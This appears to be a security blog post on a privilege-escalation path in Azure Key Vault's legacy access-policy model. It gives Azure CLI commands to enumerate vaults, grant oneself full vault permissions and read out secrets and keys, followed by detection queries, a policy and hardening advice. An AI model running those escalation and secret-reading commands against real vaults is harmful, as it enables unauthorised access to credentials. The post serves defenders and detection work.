cd

5 min read

Exploiting Azure Key Vault

About Azure Key Vault

Azure Key Vault is a cloud based service providing the capaility to store and manage keys, secrets, and certificates. Key Vault stores these sensitive items and provides access control to both administrators and applications over API calls, ensuring sensitive information remains protected.

Access Control

Azure Key Vault supports two access control methods for the data plane: Azure role-based access control and Vault access policy.

Azure role-based access control (Azure RBAC)

Azure RBAC provides fine-grained access management through Azure Resource Manager and is the recommended access control system for Azure Key Vault. It allows:

  1. Centralized permission management across all key vaults.
  2. Separate permissions for individual keys, secrets, and certificates.
  3. Several built-in roles for managing data in Azure Key Vault.

Built-in roles for Key Vault

RoleDescriptionID
Key Vault AdministratorPerform all data plane operations on a key vault and all objects in it, including certificates, keys, and secrets. Cannot manage key vault resources or role assignments. Only works for key vaults that use the ‘Azure role-based access control’ permission model.00482a5a-887f-4fb3-b363-3b7fe8e74483
Key Vault ReaderRead metadata of key vaults and its certificates, keys, and secrets. Cannot read sensitive values such as secret contents or key material. Only works for key vaults that use the ‘Azure role-based access control’ permission model.21090545-7ca7-4776-b22c-e363652d74d2
Key Vault Purge OperatorAllows permanent deletion of soft-deleted vaults.a68e7c17-0ab2-4c09-9a58-125dae29748c
Key Vault Certificates OfficerPerform any action on the certificates of a key vault, excluding reading the secret and key portions, and managing permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model.a4417e6f-fecd-4de8-b567-7b0420556985
Key Vault Certificate UserRead entire certificate contents including secret and key portion. Only works for key vaults that use the ‘Azure role-based access control’ permission model.db79e9a7-68ee-4b58-9aeb-b90e7c24fcba
Key Vault Crypto OfficerPerform any action on the keys of a key vault, except manage permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model.14b46e9e-c2b7-41b4-b07b-48a6ebf60603
Key Vault Crypto Service Encryption UserRead metadata of keys and perform wrap/unwrap operations. Only works for key vaults that use the ‘Azure role-based access control’ permission model.e147488a-f6f5-4113-8e2d-b22465e65bf6
Key Vault Crypto UserPerform cryptographic operations using keys. Only works for key vaults that use the ‘Azure role-based access control’ permission model.12338af0-0e69-4776-bea7-57ae8d297424
Key Vault Crypto Service Release UserRelease keys for Azure Confidential Computing and equivalent environments. Only works for key vaults that use the ‘Azure role-based access control’ permission model.
Key Vault Secrets OfficerPerform any action on the secrets of a key vault, except manage permissions. Only works for key vaults that use the ‘Azure role-based access control’ permission model.b86a8fe4-44ce-4948-aee5-eccb2c155cd7
Key Vault Secrets UserRead secret contents including secret portion of a certificate with private key. Only works for key vaults that use the ‘Azure role-based access control’ permission model.4633458b-17de-408a-b874-0445c86b69e6

Vault Access Policy

Vault access policies are a now legacy access control method where many individual access policies determine whether a given security principal can access or perform an operation on a given vaults keys, secerts, or certificates. A vault can support 1024 access policies, and policies can be created through the portal, CLI, or PowerShell.

A vulnerability exists in the vault access policy permission model where a user with the Microsoft.KeyVault/vaults/write permission (included in the Contributor and Key Vault Contributor built-in roles) can grant themselves data plane access by creating a vault access policy. This can be a dangerous misconfiguration as an actor who has the Contributor or Key Vault Contributor access rights to the vault, either through direct assignment or through a higher level structure like a resource group, subscription, or management group, could enumerate all keys vaults, determine which are using this legacy access policy, and access and exfiltrate sensitive information. This may lead to privilege escalation and persistence within the environment.

Exploitation Techniques

An actor with the Microsoft.KeyVault/vaults/write permission on a given vault, included in Contributor and Key Vault Contributor, can quickly identify all exploitable Key Vaults, escalate privilege, and exfiltrate sensitive data. The following sequence outlines this attack path:

Enumeration

List all Key Vaults the user has access to in the subscription:

az keyvault list

Check the configuration of a specific vault:

az keyvault show --name <vault>
  • Look for the property: "enableRbacAuthorization": false. This indicates the vault uses legacy access policies.

List items in the vault:

az keyvault key list --vault-name <vault>

az keyvault secret list --vault-name <vault>

az keyvault certificate list --vault-name <vault>

Privilege Escalation

Grant all permissions to a specified vault and user, including yourself:

az keyvault set-policy \
  --name <vault> \
  --object-id <objectId> \
  --key-permissions all \
  --secret-permissions all \
  --certificate-permissions all \
  --storage-permissions all

Exfiltration

Retreive items from the vault:

az keyvault key show --vault-name <vault> --name <key>

az keyvault secret show --vault-name <vault> --name <secret>

Defense and Detection

To mitigate this attack path ensure that all Key Vaults in the environment are using the Azure role-based access control permission model, this separates the management plane and data plane.

Use the following KQL query from the Azure Resource Graph to determine which Key Vaults are configured using vault access policy:

arg('').resources
| where type == "microsoft.keyvault/vaults"
| extend parse_properties = parse_json(properties)
| extend enableRbacAuthorization = parse_properties.enableRbacAuthorization
| where enableRbacAuthorization == "false"
| project subscriptionId, resourceGroup, name, id, enableRbacAuthorization, location, kind, sku, tags

Use the following policy to require Azure Key Vaults to use Azure RBAC:

{
  "mode": "All",
  "policyRule": {
    "if": {
      "allOf": [
        {
          "field": "type",
          "equals": "Microsoft.KeyVault/vaults"
        },
        {
          "field": "Microsoft.KeyVault/vaults/enableRbacAuthorization",
          "notEquals": true
        }
      ]
    },
    "then": {
      "effect": "deny"
    }
  },
  "parameters": {}
}

Ensure that the principle of least privilege is followed and limit granting the following permissions to Azure Key Vaults, either directly or inherited through a higher level structure:

  1. Microsoft.Authorization/roleAssignments/write: Allows changing vault permission model.
  2. Microsoft.KeyVault/vaults/write: Allows privilege escalation with vault access policy.
  3. Microsoft.KeyVault/vaults/accessPolicies/write: Allows privilege escalation with vault access policy.

Ensure that Key Vault diagnostic logging is enabled and that the logs are being sent to a monitored log analytics workspace, ideally with Microsoft Sentinel. Monitor for suspicious events in Key Vault diagnostic logs and AzureActivity logs, including the following events:

  1. VaultPatch
  2. KeyList
  3. KeyGet
  4. KeyDelete
  5. SecretList
  6. SecretGet
  7. SecretDelete
  8. CertificateList
  9. CertificateGet
  10. CertificateDelete

Ensure that Azure Key Vault does not allow public access, and monitor for changes to network access control.

Below are sample queries to hunt for suspicious activity: Azure Key Vault: Large Number of Items Accessed in Short Period of Time

let exclude_caller = dynamic("9aa2267e-3135-40f9-be0d-c902b62d51af");
let VaultThreshold = 0;
let ItemThreshold = 5;
let GetOperations = dynamic(["SecretGet", "KeyGet", "CertificateGet"]);
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName in (GetOperations)
| where clientInfo_s != "PolicyScan-GF"
| where ResultType == "Success"
| extend Caller = coalesce(identity_claim_unique_name_s, identity_claim_oid_g, "UnknownCaller")
| where Caller !in (exclude_caller)
| extend item = tostring(split(id_s, "/")[4])
| summarize 
    DistinctVaultCount = dcount(Resource),
    DistinctItemCount = dcount(item),
    StartTime = min(TimeGenerated), 
    EndTime = max(TimeGenerated), 
    IPAddressSet = make_set(CallerIPAddress),  
    VaultsAccessed = make_set(Resource),
    ItemsAccessed = make_set(item)
    by Caller, bin(TimeGenerated, 1h)
| where DistinctVaultCount > VaultThreshold
| where DistinctItemCount > ItemThreshold
| project StartTime, EndTime, Caller, DistinctVaultCount, DistinctItemCount, IPAddressSet, VaultsAccessed, ItemsAccessed

Azure Key Vault: Large Number of Items Deleted in Short Period of Time

let Threshold = 5;
let DeleteOperations = dynamic(["SecretDelete", "KeyDelete", "CertificateDelete"]);
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName in (DeleteOperations)
| where ResultType == "Success"
| extend Caller = coalesce(identity_claim_unique_name_s, "UnknownCaller")
| summarize EventCount = count(), StartTime = min(TimeGenerated), EndTime = max(TimeGenerated), IPAddressSet = make_set(CallerIPAddress) 
    by Caller, bin(TimeGenerated, 1h)
| where EventCount > Threshold
| project StartTime, EndTime, Caller, EventCount, IPAddressSet

Azure Key Vault: Vault Access Configuration Model Modified

AzureDiagnostics
| where OperationName contains "VaultPatch"
| where properties_enableRbacAuthorization_b == "false"
| extend Caller = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_upn_s
| project TimeGenerated, CorrelationId, Caller, CallerIPAddress, SubscriptionId, ResourceGroup, Resource, ResourceId

AzureActivity - KV: User Adds Themselves to a Vault Access Policy

AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName == "VaultPatch"
| where ResultType == "Success"
| extend Caller_AccessAssigned = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_name_s
| extend Caller_Id = identity_claim_http_schemas_microsoft_com_identity_claims_objectidentifier_g
| extend NewSPN = addedAccessPolicy_ObjectId_g
| where Caller_Id == NewSPN
| extend NewAccessPolicy_Key = addedAccessPolicy_Permissions_keys_s
| extend NewAccessPolicy_Secret = addedAccessPolicy_Permissions_secrets_s
| extend NewAccessPolicy_Certificate = addedAccessPolicy_Permissions_certificates_s
| extend TimeGenerated_AccessAssigned = TimeGenerated

Azure Key Vault: New IP Address Added to Key Vault Firewall

let knownIPs = dynamic(["10.10.10.10/32", "10.10.10.20/32", "10.10.10.30/32"]); // Define your set of known IPs, or use a watchlist (recommended)
AzureDiagnostics
| where OperationName == "VaultPatch"
| extend Caller = identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_upn_s
| extend NewIPAddress = addedIpRule_Value_s
| where NewIPAddress != ""
| where NewIPAddress !in (knownIPs)
| project TimeGenerated, CorrelationId, Caller, CallerIPAddress, NewIPAddress, SubscriptionId, ResourceGroup, Resource, ResourceId

Key Takeaways

  1. A privilege escalation path exists with the vault access policy permission model, use Azure RBAC.
  2. Follow least privilege principles.
  3. Enforce strict network access control and use private endpoints.
  4. Ensure diagnostic logs are enabled and are being ingesting into your SIEM.
  5. Monitor for unusual activity, including enumeration, privilege escalation, access anomalies, and deletion anomalies.

References